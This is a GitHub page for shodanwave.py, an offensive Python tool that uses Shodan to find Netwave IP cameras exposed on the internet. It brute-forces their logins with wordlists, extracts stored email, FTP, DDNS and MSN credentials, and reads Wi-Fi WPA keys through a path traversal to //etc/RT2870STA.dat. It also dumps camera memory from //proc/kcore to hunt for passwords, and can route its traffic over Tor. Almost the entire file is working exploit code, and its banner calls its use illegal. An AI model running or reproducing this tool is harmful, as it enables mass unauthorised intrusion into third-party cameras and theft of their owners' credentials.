-
Notifications
You must be signed in to change notification settings - Fork 74
/
shodanwave.py
executable file
·392 lines (311 loc) · 15.6 KB
/
shodanwave.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import argparse
import sys,os,time
import subprocess
import signal
from threading import Thread
import random
try:
import shodan
import requests
from pyfiglet import Figlet
import tailer
except ImportError as e:
print("Error: %s \n" % (e))
print("Try this ... pip install -r /path/to/requirements.txt")
class backgroundColor:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
def main() :
Graph = Figlet(font='slant')
GraphRender = Graph.renderText('shodanwave')
print("%s" % (backgroundColor.WARNING + GraphRender + backgroundColor.ENDC))
print(backgroundColor.FAIL + "\rThis tool is successfully connected to shodan service\nInformation the use of this tool is illegal, not bad.\n" + backgroundColor.ENDC)
parser = argparse.ArgumentParser()
parser.add_argument('-s','--search', dest='search', default='Netwave IP Camera', type=str, help='Default Netwave IP Camera')
parser.add_argument('-u','--username', dest="username", type=file, help='Select your usernames wordlist')
parser.add_argument('-w','--wordlist', dest="password", type=file, help='Select your passwords wordlist')
parser.add_argument('-k','--shodan', dest="address", default='', type=str, help='Shodan API key')
parser.add_argument('-t','--output', dest="output", default='', type=str, help='Log File')
parser.add_argument('-l','--limit', dest="limit", type=str, help='Limit the number of registers responsed by Shodan')
parser.add_argument('-o','--offset', dest="offset", type=str, help='Shodan skips this number of registers from response')
parser.add_argument('-p','--tor', dest="tor", action='store_true', help='Add Tor Functionality, modify your tsocks config')
args = parser.parse_args()
global filename
filename = args.output
try:
if sys.argv[2] == "-h" or sys.argv[2] == "--help":
# print "Usage: python shodanwave.py --help"
sys.exit(0)
except Exception as e:
print "Usage: python shodanwave.py --help"
sys.exit(0)
def signal_handler(signal, frame):
print('\nclearing up..')
os.system("rm -rf tmpstream.txt")
os.system("rm -rf tmpstrings.out")
os.system("killall -9 wget")
os.system("killall -9 tail")
sys.exit(0)
signal.signal(signal.SIGINT, signal_handler)
def NetworkSearchosts():
exploit = True
found = False
macaddr = ""
email_user = ''
email_pwd = ''
ftp_user = ''
ftp_pwd = ''
ftp_svr = ''
ftp_port = ''
ddns_user= ''
ddns_pwd= ''
ddns_host = ''
ddns_proxy_svr = ''
msn_user = ''
msn_pwd = ''
global tor_toggle
tor_toggle = False
#FNULL = open(os.devnull, 'w')
try:
shodanapi = shodan.Shodan(args.address)
api = shodanapi.search(args.search, limit = args.limit, offset = args.offset)
total = api.get('total')
print(backgroundColor.OKGREEN + "[+] Shodan successfully Connected."+ backgroundColor.ENDC)
print(backgroundColor.OKGREEN + "[+] Netwave Exploit Enabled."+ backgroundColor.ENDC)
print(backgroundColor.OKGREEN + "[+] Netwave IP Camera Found: %d" % (total) + backgroundColor.ENDC)
if args.username or args.password :
usernames = args.username.readlines()
passwords = args.password.readlines()
print(backgroundColor.OKGREEN + "[+] Passwords loaded: %d" % (len(passwords)) + backgroundColor.ENDC)
pass
if args.tor == True :
tor_toggle = True
check_tor_status = subprocess.Popen(['whereis', 'tor'],shell=False, stdout=subprocess.PIPE)
check_tor_status = check_tor_status.stdout.read().decode('utf-8')
check_tsocks_status = subprocess.Popen(['whereis', 'tsocks'],shell=False, stdout=subprocess.PIPE)
check_tsocks_status = check_tsocks_status.stdout.read().decode('utf-8')
if ('/usr/bin/tor' not in check_tor_status) or ('/usr/sbin/tor' not in check_tor_status) :
print(backgroundColor.WARNING + "Please Install Tor: apt-get install tor"+ backgroundColor.ENDC)
sys.exit()
if ('/usr/bin/tsocks' not in check_tsocks_status) :
print(backgroundColor.WARNING + "ShodanWave uses Tsocks for wget, pleae install and configure Tsocks: apt-get install tsocks"+ backgroundColor.ENDC)
sys.exit()
if 'inactive' in check_tor_status :
enable_tor = subprocess.Popen(['service tor start'],shell=False, stdout=subprocess.PIPE)
print(backgroundColor.WARNING + "Tor was Disabled, Enabling it now."+ backgroundColor.ENDC)
ShodanModuleExploit = raw_input(backgroundColor.WARNING + "[!] Disable password discovery module? (Yes/no): " + backgroundColor.ENDC)
if ShodanModuleExploit.upper() == "YES" or ShodanModuleExploit.upper() == "Y":
print(backgroundColor.FAIL + "[-] Netwave exploit disabled." + backgroundColor.ENDC)
exploit = False
while True:
for hosts in api['matches'] :
host = hosts.get('ip_str')
port = hosts.get('port')
city = hosts['location']['city'] or 'n/a'
country = hosts['location']['country_name'] or 'n/a'
org = hosts.get('org', 'n/a')
hostnames = hosts.get('hostnames', 'n/a')
product = hosts.get('product', 'n/a')
try:
path = "snapshot.cgi"
url = "http://%s:%s/%s" % (host, port, path)
print("[+] Launching brute force on host http://%s:%s" % (host, port))
for administrator in usernames :
administrator = administrator.strip()
for password in passwords:
password = password.strip()
if tor_toggle == True :
proxies = {'http': 'socks5://127.0.0.1:9050'}
headers = {'User-Agent': "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.94 Safari/537.36" }
if toggle_tor == True :
request = requests.get(url, auth=(administrator, password), headers=headers, proxies=proxies, timeout=1)
else :
request = requests.get(url, auth=(administrator, password), headers=headers, timeout=0.3)
status = request.status_code
if status == 200:
exploit = False
found = True
print(backgroundColor.OKGREEN + backgroundColor.BOLD + "[+] Password Found %s@%s" % (administrator, password) + backgroundColor.ENDC)
print(backgroundColor.WARNING + "[!] Trying to get more information" + backgroundColor.ENDC)
try:
url = "http://%s:%s/get_params.cgi" % (host, port)
headers = {'User-Agent': "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.94 Safari/537.36" }
if tor_toggle == True :
request = requests.get(url, headers=headers, auth=(administrator, password), proxies=proxies, timeout=1)
else:
request = requests.get(url, headers=headers, auth=(administrator, password), timeout=0.3)
response = request.text.split(";\n")
if status == 200:
for content in response :
if content.startswith("var mail_user="):
content = content.split("'")
email_user = content[1]
elif content.startswith("var mail_pwd="):
content = content.split("'")
email_pwd = content[1]
elif content.startswith("var ddns_user="):
content = content.split("'")
ddns_user = content[1]
elif content.startswith("var ddns_pwd="):
content = content.split("'")
ddns_pwd = content[1]
elif content.startswith("var ddns_host="):
content = content.split("'")
ddns_host = content[1]
elif content.startswith("var ddns_proxy_svr="):
content = content.split("'")
ddns_proxy_svr = content[1]
elif content.startswith("var ftp_svr="):
content = content.split("'")
ftp_svr = content[1]
elif content.startswith("var ftp_port="):
content = content.split("=")
ftp_port = content[1]
elif content.startswith("var ftp_user="):
content = content.split("'")
ftp_user = content[1]
elif content.startswith("var ftp_pwd="):
content = content.split("'")
ftp_pwd = content[1]
elif content.startswith("var msn_user="):
content = content.split("'")
msn_user = content[1]
elif content.startswith("var msn_pwd="):
content = content.split("'")
msn_pwd = content[1]
if not(email_user == ''):
print(backgroundColor.OKGREEN + "[+] Email: %s:%s" % (email_user, email_pwd) + backgroundColor.ENDC)
if not(ftp_user == ''):
print(backgroundColor.OKGREEN + "[+] FTP: ftp://%s:%s@%s:%s" % (ftp_user, ftp_pwd, ftp_svr, ftp_port) + backgroundColor.ENDC)
if not(ddns_user == ''):
print(backgroundColor.OKGREEN + "[+] DNS: http://%s:%s@%s:%s" % (ddns_user, ddns_pwd, ddns_host, ddns_proxy_svr) + backgroundColor.ENDC)
if not(msn_user == '') :
print( backgroundColor.OKGREEN + "[+] MSN: %s@%s" % (msn_user, msn_pwd) + backgroundColor.ENDC)
except Exception as e:
print(backgroundColor.FAIL + "[-] %s not found " % url + backgroundColor.ENDC)
break
else:
found = False
if ShodanModuleExploit.upper() == "YES" or ShodanModuleExploit.upper() == "Y":
exploit = False
else:
exploit = True
if not(found):
if ShodanModuleExploit.upper() == "YES" or ShodanModuleExploit.upper() == "Y":
exploit = False
else:
exploit = True
print(backgroundColor.FAIL + backgroundColor.BOLD + "[!] Password not found" + backgroundColor.ENDC)
except Exception as e:
print(backgroundColor.FAIL + "[-] %s not found" % url + backgroundColor.ENDC)
print(backgroundColor.WARNING + "[!] Getting System Information" + backgroundColor.ENDC)
print(backgroundColor.WARNING + "[!] Getting Wireless System Information" +backgroundColor.ENDC)
try:
wireless = "http://%s:%s/get_status.cgi" % (host, port)
headers = {'User-Agent': "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.94 Safari/537.36" }
if tor_toggle == True :
response = requests.get(wireless, headers=headers, proxies=proxies, timeout=1)
else :
response = requests.get(wireless, headers=headers, timeout=0.3)
status = response.status_code
content = response.text.split(';\n')
if status == 200:
for macaddress in content:
if macaddress.startswith("var id="):
macaddress = macaddress.split("'")
macaddr = macaddress[1]
print(backgroundColor.WARNING + "[+] Mac address found %s" % (macaddr) + backgroundColor.ENDC)
else:
print(backgroundColor.FAIL + "[-] Getting mac address" + backgroundColor.ENDC)
except Exception as e:
print(backgroundColor.FAIL + "[-] %s not found" % wireless + backgroundColor.ENDC)
print("""[+] Host: http://%s:%s\n[+] Country: %s\n[+] City: %s\n[+] Organization: %s\n[+] Product: %s""" % (host, port, country, city, org, product))
log(host, port, country, city, org, product)
try:
url = "http://%s:%s//etc/RT2870STA.dat" % (host, port)
headers = {'User-Agent': "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.94 Safari/537.36" }
if tor_toggle == True :
response = requests.get(url, headers=headers, proxies=proxies, timeout=1)
else :
response = requests.get(url, headers=headers, timeout=0.3)
content = response.text.split("\n")
status = response.status_code
if status == 200:
for crendential in content :
if crendential.find("WPAPSK") != -1 or crendential.find("SSID") != -1 :
crendential = crendential.replace("=", ": ")
print(backgroundColor.OKGREEN + backgroundColor.BOLD + "[+] %s" % crendential + backgroundColor.ENDC)
else:
print(backgroundColor.FAIL + backgroundColor.BOLD + "[!] Wireless lan is disabled.."+ backgroundColor.ENDC)
except Exception as e:
print(backgroundColor.FAIL + "[!] Error: Wireless lan is disabled.." + backgroundColor.ENDC)
try:
url = "http://%s:%s//proc/kcore" % (host, port)
done = 0
linecount = 0
if exploit:
print (backgroundColor.FAIL +"[+] Starting to read memory dump.. this could take a few minutes"+backgroundColor.ENDC)
if tor_toggle == True :
proc = subprocess.Popen("tsocks wget -qO- "+ url +" >> tmpstream.txt", shell=True, preexec_fn=os.setsid)
else :
proc = subprocess.Popen("wget -qO- "+ url +" >> tmpstream.txt", shell=True, preexec_fn=os.setsid)
os.system('echo "" > tmpstrings.out')
time.sleep(1)
proc2 = subprocess.Popen("tail -f tmpstream.txt | strings >>tmpstrings.out", shell=True, preexec_fn=os.setsid)
print (backgroundColor.BOLD+"[+] CTRL+C to exit.."+ backgroundColor.ENDC)
while 1:
sys.stdout.flush()
if os.stat('tmpstrings.out').st_size <= 1024:
sys.stdout.write(backgroundColor.OKGREEN + "binary data: "+str(os.stat('tmpstream.txt').st_size)+"\r" + backgroundColor.ENDC)
else:
sys.stdout.flush()
print "[+] Strings in binary data found.. password should be around line 10000"
for line in tailer.follow(open('tmpstrings.out','r')):
if done == 0:
linecount+= 1
if line == macaddr:
sys.stdout.flush()
done = 1
print (backgroundColor.OKGREEN+"[+] Mac address triggered.. printing the following dumps, could leak username and passwords.."+backgroundColor.ENDC)
else:
sys.stdout.write(str(linecount)+"\r")
elif done == 1:
done = 2
print "[+] Firstline.. "+ backgroundColor.OKGREEN+line+backgroundColor.ENDC
elif done == 2:
done = 3
print "[+] Possible username: "+backgroundColor.OKGREEN+line+backgroundColor.ENDC
elif done == 3:
done = 4
print "[+] Possible password: "+backgroundColor.OKGREEN+line+backgroundColor.ENDC
elif done == 4:
done = 0
print "[+] Following line.. \n\n"+backgroundColor.OKGREEN+line+backgroundColor.ENDC
else:
pass
signal.pause()
except:
print (backgroundColor.FAIL+"[-] Victim isnt vulnerable for a memory leak, exiting.."+backgroundColor.ENDC)
print(backgroundColor.OKGREEN + "[+] Done!" + backgroundColor.ENDC)
return True
except shodan.APIError as e:
print(backgroundColor.FAIL + "[-] Error: %s" % (e) + backgroundColor.ENDC)
sys.exit(0)
NetworkSearchosts()
def log(host, port, country, city, org, product):
if filename != '' :
file = open(filename, 'a')
out = "[+] Host: http://%s:%s\n[+] Country: %s\n[+] City: %s\n[+] Organization: %s\n[+] Product: %s\n " % (host, port, country, city, org, product)
file.write(out.encode('utf-8'))
file.write("*****************" + "\n")
file.close()
if __name__ == "__main__" :
main()